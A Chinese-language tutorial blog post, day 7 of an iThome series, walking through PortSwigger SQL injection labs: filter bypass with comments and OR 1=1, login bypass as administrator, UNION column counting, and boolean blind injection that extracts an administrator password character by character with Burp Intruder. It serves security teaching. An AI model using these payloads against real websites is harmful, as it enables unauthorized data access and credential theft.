iT邦幫忙

2023 iThome 鐵人賽

DAY 7
0

終於結束前面好多篇的幹話了,要進入重頭戲攻擊手法辣~ OwO
但還是稍微講一下什麼是 SQL injection

以下,我都會用 portswigger 進行 lab 的練習

什麼是SQL 注入攻擊?

SQL injection(SQLi)簡單來說就是攻擊者干擾應用程式對其資料庫的查詢,攻擊者檢視他們通常無法檢索的資料。包括屬於其他使用者的資料,或應用程式可以訪問的任何其他資料,攻擊者甚至可以修改或刪除這些資料。
甚至可以升級SQL注入攻擊,以破壞底層伺服器或其他後端基礎設施。 它還可以使他們能夠執行拒絕服務攻擊。

常見的 SQL 例子

  • 檢索隱藏的資料:修改SQL查詢以返回其他結果。
  • 顛覆程式邏輯:更改查詢以干擾程式的邏輯。
  • UNION攻擊:從不同的資料庫表中檢索資料。
  • SQL盲注入:控制的查詢結果不會在網站中看到。

檢索隱藏的資料

看到一個訂購網站,如果我們點擊 3C 類別時, URL 就會長的像這樣:

https://xxxxxxxx.com/products?category=3C

那這個請求在資料庫查訊就會長得像是這樣:

SELECT * FROM products WHERE category = '3C' AND released = 1

我來解釋一下這在寫些什麼,

  • * 選擇所有
  • products 的那張表中
  • WHERE 後面可以放條件
  • 尋找 category3Creleased 的狀態是 1

WHERE 後面的條件可以用 AND 跟 OR 包許多你想設條件

如果我們修改 URL 這樣寫:

https://xxxxxxxx.com/products?category=3C'--

在資料庫裡會長這樣,

SELECT * FROM products WHERE category = '3C'--' AND released = 1

解釋: -- 代表的是註釋(像是 python 的 # 跟 c++ 的 // ),所以在查詢的時候資料庫就以為後面都為註釋,也就略過了後面的 AND released = 1 ,所以他就不會只顯示 released = 1 的東西,而是只要為 3C 類別的就會顯示。

想要顯示所有類別可以這樣寫:

https://xxxxxxxx.com/products?category=3C'+OR+1=1--

+ 在 網址列中是 %20 表示為空白

在資料庫裡會長這樣,

SELECT * FROM products WHERE category = '3C' OR 1=1--' AND released = 1

解釋:後面備註釋掉了我們只看 category = '3C' OR 1=1 ,條件是 category = '3C' 或 1=1 , 但 1=1 恆為真,所以資料庫會給你所以的產品。

Lab時間~

https://ithelp.ithome.com.tw/upload/images/20230922/20162491oBR0Tr0eRt.png
這是剛進去的畫面,我們可以隨意的點開一個類別

https://0acc008b035f065b801549bd003b0028.web-security-academy.net/filter?category=Corporate+gifts

https://ithelp.ithome.com.tw/upload/images/20230922/20162491q1urkQsNc1.png
我們就可以攻擊他啦~
在網址後面加上'+OR+1=1-- 結束!
https://ithelp.ithome.com.tw/upload/images/20230922/20162491InXYIXbN9k.png

https://0acc008b035f065b801549bd003b0028.web-security-academy.net/filter?category=Corporate+gifts'+OR+1=1--

顛覆應用程式邏輯

正常的登入應該是:

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

包含帳號跟密碼,那如果用上我們剛剛提到的註釋像是這樣在username後面包一個'-- ,那是不是就不用輸入密碼呢?

Lab time~

Lab 叫我們用 administrator 作為用戶名稱
https://ithelp.ithome.com.tw/upload/images/20230922/20162491bVGd28tnf3.png
Password再隨便打打就好,反正都會被註釋掉~
https://ithelp.ithome.com.tw/upload/images/20230922/20162491GevlPFi5or.png
結束!

UNION攻擊

UNION 可以執行其他 select 查詢,所以我門就可以利用它來查詢資料庫的其他你不該查到的資料(嘿嘿),進行攻擊。

要成功執行 UNION,必須滿足兩個條件:

  • 查詢回傳列數量必須相同
  • 回傳對應的每一列資料類型要相同

所以我們要思考兩件事,

  1. 一共回傳多少列?
  2. 哪些是適合回傳的資料類型,以便保存注入查詢的結果?

如何尋找攻擊所需的列數?

我們有兩種方法可以確認,一種是用 ORDER BY 另一種是用 UNION SELECT payload

  1. 利用 ORDER BY,改變後面的數值直到發生錯誤
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
  1. 利用 UNION SELECT paylaod,不斷添加 NULL 直到發生錯誤
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

發生錯誤就代表找到了~

Lab time

使用'+UNION+SELECT+NULL,NULL--嘗試看看,不行那就再加
https://ithelp.ithome.com.tw/upload/images/20230922/20162491VR9mloii7L.png
'+UNION+SELECT+NULL,NULL,NULL-- 成功~
https://ithelp.ithome.com.tw/upload/images/20230922/20162491ejgAyrwjQI.png

SQL盲注入(Blind SQL injection)

盲注入就是在猜,在 HTTP 回應不包含相關 SQL 查詢的結果或任何資料庫錯誤的詳細資訊時,就是 SQL 盲注入(也就是在肉眼看的到的地方你會不知道有甚麼差別~)

通過觸發條件回應來利用SQL盲注入

我們可以使用 Cookie 收集資料。假設我們發現網站有這樣的 Cookie:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

那我們就可以猜表裡面是不是這樣的東西:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

假設該網站當查詢結果為已知使用者時,於前端頁面會顯示「Welcome back」。
那我們就可以測試:

  • TrackingId = x' UNION SELECT 'a' WHERE 1=1--
    • 因 1 = 1,會回傳 true,所以可以在前端看到 Welcome back
  • TrackingId = x' UNION SELECT 'a' WHERE 1=2--
    • 因 1 不等於 2,會回傳 false,所以不能前端看到 Welcome back

同理可證,我們可以用來猜 Administrator 的密碼

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

如果這行 code 會顯示 Welcome back,那就代表密碼的第一個字大於 m

那我們再輸入,

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

如果他沒顯示 Welcome back,那就代表密碼的第一個字不大於t

那最後就再確認一下,

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

欸我們知道密碼的第一個字是s了欸~
持續下去我們就知道 Administrator 的密碼了 !(0口0)!

Lab time

點開F12找一下Cookie
https://ithelp.ithome.com.tw/upload/images/20230922/20162491GCShKpQC5d.png
我們來確認看看

60imFXm3kgx20oW2' OR 1=1 -- -

https://ithelp.ithome.com.tw/upload/images/20230922/20162491ZQW2plpAUL.png
看到Welcome back,所以我們的 TrackingId = 60imFXm3kgx20oW2

接著我們就要猜administrator 的密碼了><

60imFXm3kgx20oW2' AND (SELECT 'x' FROM users LIMIT 1)='x

阿對了我們可以按F5 就可以刷新了喔
https://ithelp.ithome.com.tw/upload/images/20230922/20162491gR5sV19dL3.png
好,所以administratorusers 裡面喔~

那就可以進行猜猜樂的換節

60imFXm3kgx20oW2' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

先問問密碼是不是大於1

照這這樣做下去我們可以知道密碼長度為20。

然後我們可以用 Cluster bomb 的方式爆出密碼

60imFXm3kgx20oW2' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§

一共設兩個payload
https://ithelp.ithome.com.tw/upload/images/20230922/20162491nLY4PmrWSm.png
設置從1到20的數
https://ithelp.ithome.com.tw/upload/images/20230922/20162491JfSQlDOgUw.png
然後一個一個去猜
https://ithelp.ithome.com.tw/upload/images/20230922/20162491xQrJkPOp0t.png
就可以看到密碼成功!

資料參考

https://portswigger.net/web-security/sql-injection
https://www.modb.pro/db/86324
https://ithelp.ithome.com.tw/articles/10240102


上一篇
[Day 6]情資蒐集方法和工具
下一篇
[Day 8]SQL 注入攻擊(二)
系列文
從 Moblie Development 主題被損友洗腦鬼轉 Security 的我真的可以完賽嗎?30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言